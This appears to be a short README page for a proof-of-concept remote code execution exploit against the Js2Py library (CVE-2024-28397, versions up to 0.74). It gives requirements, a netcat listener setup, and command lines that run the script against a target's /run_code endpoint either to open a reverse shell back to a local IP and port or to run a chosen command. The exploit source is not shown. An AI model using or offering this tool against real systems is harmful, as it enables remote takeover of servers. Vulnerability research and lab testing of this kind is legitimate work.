CVE-2024-28397 PoC — Js2Py 安全漏洞

介绍

# CVE-2024-28397 RCE Script

Default reverse shell payload and optional command argument allowed

exploit works for js2py <= v0.74

## Requirements

- Python 3.x  
- `requests` library (`pip install requests`)  
- Netcat listener (for reverse shell)

## Example usage

Reverse shell:

```bash
python exploit.py 10.129.227.108 /run_code --local_ip 10.10.14.71 --local_port 4444
```
Custom command:

```bash
python exploit.py 10.129.227.108 /run_code --cmd "id"
```

文件快照

备注